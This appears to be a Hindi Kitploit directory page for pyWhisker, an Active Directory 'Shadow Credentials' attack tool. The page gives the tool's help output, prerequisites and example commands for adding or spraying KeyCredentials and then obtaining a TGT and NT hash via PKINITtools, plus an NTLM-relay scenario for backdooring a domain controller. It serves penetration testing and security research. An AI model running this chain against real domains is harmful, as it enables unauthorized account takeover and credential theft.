Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
pywhisker — C# उपकरण का Python संस्करण "Shadow Credentials" हमलों के लिए। | Kitploit
उपकरण/GitHubGitHub/shutdownrepo/pywhisker
विशेषाधिकार वृद्धिशोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubshutdownrepo/pywhisker

pywhisker

C# उपकरण का Python संस्करण "Shadow Credentials" हमलों के लिए।

रिपॉजिटरी देखें
92210752 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

pyWhisker

pyWhisker, Elad Shamir द्वारा बनाए गए और C# में लिखे गए मूल Whisker का Python समकक्ष है। यह टूल उपयोगकर्ताओं को किसी लक्ष्य उपयोगकर्ता/कंप्यूटर के msDS-KeyCredentialLink एट्रिब्यूट में हेरफेर करने की अनुमति देता है ताकि उस ऑब्जेक्ट पर पूर्ण नियंत्रण प्राप्त किया जा सके। यह Impacket और Michael Grafnetter's के DSInternals के Python समकक्ष पर आधारित है जिसे pyDSInternals कहा जाता है और जिसे podalirius ने बनाया है। यह टूल, Dirk-jan के PKINITtools के साथ मिलकर, केवल UNIX-आधारित सिस्टम पर पूर्ण प्रिमिटिव एक्सप्लॉइटेशन की अनुमति देता है।

इस हमले के लिए पूर्व-आवश्यकताएँ इस प्रकार हैं:

  1. लक्ष्य डोमेन कार्यात्मक स्तर Windows Server 2016 या उससे ऊपर होना चाहिए।
  2. लक्ष्य डोमेन में कम से कम एक डोमेन कंट्रोलर Windows Server 2016 या उससे ऊपर चल रहा होना चाहिए।
  3. हमले के दौरान उपयोग किए जाने वाले डोमेन कंट्रोलर के पास अपना स्वयं का प्रमाणपत्र और कुंजियाँ होनी चाहिए (इसका मतलब है कि संगठन के पास या तो AD CS, या PKI, या CA या ऐसा कुछ होना चाहिए)।
  4. हमलावर के पास एक ऐसे खाते पर नियंत्रण होना चाहिए जो लक्ष्य उपयोगकर्ता या कंप्यूटर खाते के msDs-KeyCredentialLink एट्रिब्यूट को लिखने में सक्षम हो।

कुछ पूर्व-आवश्यकताएँ क्यों?

  • पूर्व-आवश्यकता 1 और 2 क्योंकि PKINIT सुविधाएँ Windows Server 2016 के साथ शुरू की गई थीं।
  • पूर्व-आवश्यकता 3 क्योंकि DC को AS_REQ <-> AS_REP लेन-देन के दौरान सत्र कुंजी विनिमय के लिए अपने स्वयं के प्रमाणपत्र और कुंजियों की आवश्यकता होती है।

यदि पूर्व-आवश्यकता 3 पूरी नहीं होती है तो एक KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP उठाया जाएगा।

इस "Shadow Credentials" प्रिमिटिव के बारे में अधिक जानकारी:

  • Shadow Credentials: Abusing Key Trust Account Mapping for Takeover
  • The Hacker Recipes - ACEs and DACL abuse
  • The Hacker Recipes - Shadow Credentials

उपयोग

pyWhisker का उपयोग लक्ष्य के msDs-KeyCredentialLink एट्रिब्यूट पर विभिन्न क्रियाएँ संचालित करने के लिए किया जा सकता है:

  • list: सभी वर्तमान KeyCredentials ID और निर्माण समय सूचीबद्ध करें
  • add: msDs-KeyCredentialLink में एक नया KeyCredential जोड़ें
  • spray: msDs-KeyCredentialLink में एक नया KeyCredential स्प्रे करें
  • remove: msDs-KeyCredentialLink से एक KeyCredential हटाएं
  • clear: msDs-KeyCredentialLink से सभी KeyCredentials हटाएं
  • info: KeyCredential संरचना में निहित सभी जानकारी प्रिंट करें
  • export: msDs-KeyCredentialLink से सभी KeyCredentials को JSON में निर्यात करें
  • import: JSON फ़ाइल से KeyCredentials के साथ msDs-KeyCredentialLink को अधिलेखित करें

pyWhisker निम्नलिखित प्रमाणीकरण का समर्थन करता है:

  • (NTLM) स्पष्ट पाठ पासवर्ड
  • (NTLM) Pass-the-hash
  • (Kerberos) स्पष्ट पाठ पासवर्ड
  • (Kerberos) Pass-the-key / Overpass-the-hash
  • (Kerberos) Pass-the-cache (Pass-the-ticket का एक प्रकार)
  • (LDAP over Schannel) Pass-the-cert

अन्य चीज़ों के अलावा, pyWhisker बहु-स्तरीय वर्बोसिटी का समर्थन करता है, बस कमांड में -v, -vv, ... जोड़ें :)

pyWhisker क्रॉस-डोमेन भी कर सकता है, -td/--target-domain तर्क देखें।

root@kitploit:~
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
                 [--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
                 [-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]

Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET_SAMNAME, --target TARGET_SAMNAME
                        Target account
  -tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
                        Path to a file with target accounts names (one per line)
  -a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
                        Action to operate on msDS-KeyCredentialLink
  --use-ldaps           Use LDAPS instead of LDAP
  --use-schannel        Use LDAP Schannel (TLS) for certificate-based authentication
  -v, --verbose         verbosity level (-v for verbose, -vv for debug)
  -q, --quiet           show no information at all

authentication & connection:
  --dc-ip ip address    IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
  -d DOMAIN, --domain DOMAIN
                        (FQDN) domain to authenticate to
  -u USER, --user USER  user to authenticate with
  -crt, --certfile CERTFILE
                        Path to the user certificate (PEM format) for Schannel authentication
  -key, --keyfile KEYFILE
                        Path to the user private key (PEM format) for Schannel authentication
  -td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
                        Target domain (if different than the domain of the authenticating user)

  --no-pass             don't ask for password (useful for -k)
  -p PASSWORD, --password PASSWORD
                        password to authenticate with
  -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
                        NT/LM hashes, format is LMhash:NThash
  --aes-key hex key     AES key to use for Kerberos Authentication (128 or 256 bits)
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line

arguments when setting -action to add:
  -P PFX_PASSWORD, --pfx-password PFX_PASSWORD
                        password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
  -f FILENAME, --filename FILENAME
                        filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
  -e {PEM,PFX}, --export {PEM,PFX}
                        choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))

arguments when setting -action to remove:
  -D DEVICE_ID, --device-id DEVICE_ID
                        device ID of the KeyCredentialLink to remove when setting -action to remove

नीचे उदाहरण और स्क्रीनशॉट दिए गए हैं जो pyWhisker की क्षमताओं को दर्शाते हैं।

सूचीबद्ध करें और जानकारी प्राप्त करें

pyWhisker मौजूदा KeyCredentials को सूचीबद्ध करने की क्षमता रखता है। इसके अतिरिक्त, यह पूरी संरचना को खोलकर उस ऑब्जेक्ट में निहित हर जानकारी (RSA सार्वजनिक कुंजी पैरामीटर सहित) दिखा सकता है।

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

साफ़ करें और हटाएं

pyWhisker विशिष्ट मानों को हटाने या पूरे एट्रिब्यूट को साफ़ करने की क्षमता रखता है।

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

नए मान जोड़ें

pyWhisker RSA कुंजियाँ, एक X509 प्रमाणपत्र, एक KeyCredential संरचना उत्पन्न करने और msDs-KeyCredentialLink एट्रिब्यूट में नए मानों के रूप में आवश्यक जानकारी लिखने की क्षमता रखता है। प्रमाणपत्र को PFX प्रारूप (#PKCS12, पासवर्ड से सुरक्षित प्रमाणपत्र + निजी कुंजी) या PEM प्रारूप (PEM प्रमाणपत्र, PEM निजी कुंजी, कोई पासवर्ड नहीं) में निर्यात किया जा सकता है।

PFX प्रारूप के साथ उदाहरण

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

मान उत्पन्न होने और pyWhisker द्वारा जोड़े जाने के बाद, gettgtpkinit.py के साथ एक TGT का अनुरोध किया जा सकता है। फिर getnthash.py से NT हैश प्राप्त किया जा सकता है।

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

PEM प्रारूप के साथ उदाहरण

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

मान उत्पन्न होने और pyWhisker द्वारा जोड़े जाने के बाद, gettgtpkinit.py के साथ एक TGT का अनुरोध किया जा सकता है। फिर getnthash.py से NT हैश प्राप्त किया जा सकता है।

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

नए मान स्प्रे करें

pyWhisker एक साथ कई KeyCredentials को लक्ष्यों के एक सेट में जोड़ सकता है, अर्थात स्प्रे (यदि उपयोग किए गए क्रेडेंशियल्स के पास सही अनुमतियाँ हैं)।

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"

आयात और निर्यात

msDs-KeyCredentialLink एट्रिब्यूट में संग्रहीत KeyCredentials को पार्स, संरचित और JSON के रूप में सहेजा जा सकता है।

फिर JSON निर्यात का उपयोग msDs-KeyCredentialLink एट्रिब्यूट को निर्यात के समय की स्थिति में पुनर्स्थापित करने के लिए किया जा सकता है।

रिले प्रमाणीकरण

pyWhisker की "adding" सुविधा को शामिल करने के लिए एक Pull Request को ntlmrelayx में मर्ज किया गया था।

उपयोगी ज्ञान

उपयोगकर्ता ऑब्जेक्ट अपने स्वयं के msDS-KeyCredentialLink एट्रिब्यूट को संपादित नहीं कर सकते। हालाँकि, कंप्यूटर ऑब्जेक्ट कर सकते हैं। इसका मतलब है कि निम्नलिखित परिदृश्य काम कर सकता है: DC01 से एक NTLM प्रमाणीकरण ट्रिगर करें, इसे DC02 पर रिले करें, pyWhisker को DC01 के एट्रिब्यूट को संपादित करने दें ताकि उस पर एक Kerberos PKINIT प्री-ऑथेंटिकेशन बैकडोर बनाया जा सके।

कंप्यूटर ऑब्जेक्ट अपने स्वयं के msDS-KeyCredentialLink एट्रिब्यूट को संपादित कर सकते हैं लेकिन केवल तभी एक KeyCredential जोड़ सकते हैं जब कोई पहले से मौजूद न हो।

यदि आप त्रुटियों का सामना करते हैं, तो सुनिश्चित करें कि आपके हमलावर होस्ट और कुंजी वितरण केंद्र (आमतौर पर डोमेन कंट्रोलर) के बीच कोई समय अंतर न हो। इस त्रुटि से बचने के लिए, pyWhisker टूल द्वारा उत्पन्न प्रमाणपत्र वर्तमान तिथि से 40 वर्ष पहले और 40 वर्ष बाद तक मान्य होते हैं।

श्रेय और संदर्भ

  • Dirk-jan को PKINITtools पर उनके काम के लिए श्रेय। हमने शुरू में Kerberos के लिए असममित PKINIT प्री-ऑथेंटिकेशन को लागू करने के लिए Impacket स्क्रिप्ट्स (विशेष रूप से gettgt.py) को रीफैक्टर करने की योजना बनाई थी। उन्होंने हमसे पहले इसे लिखकर हमें बहुत बड़ी परेशानी से बचाया!

  • Impacket के पीछे पूरी टीम और इसके योगदानकर्ताओं को श्रेय।

  • Elad Shamir को श्रेय जिन्होंने मूल C# टूल (Whisker) बनाया और Michael Grafnetter को जिन्होंने DSInternals बनाया, एक लाइब्रेरी जो Whisker के अधिकांश भारी काम को करती है। वह वही थे जिन्होंने हमले के प्रिमिटिव को प्रस्तुत करने वाला मूल Black Hat डेमो बनाया।

टूल डाउनलोड करें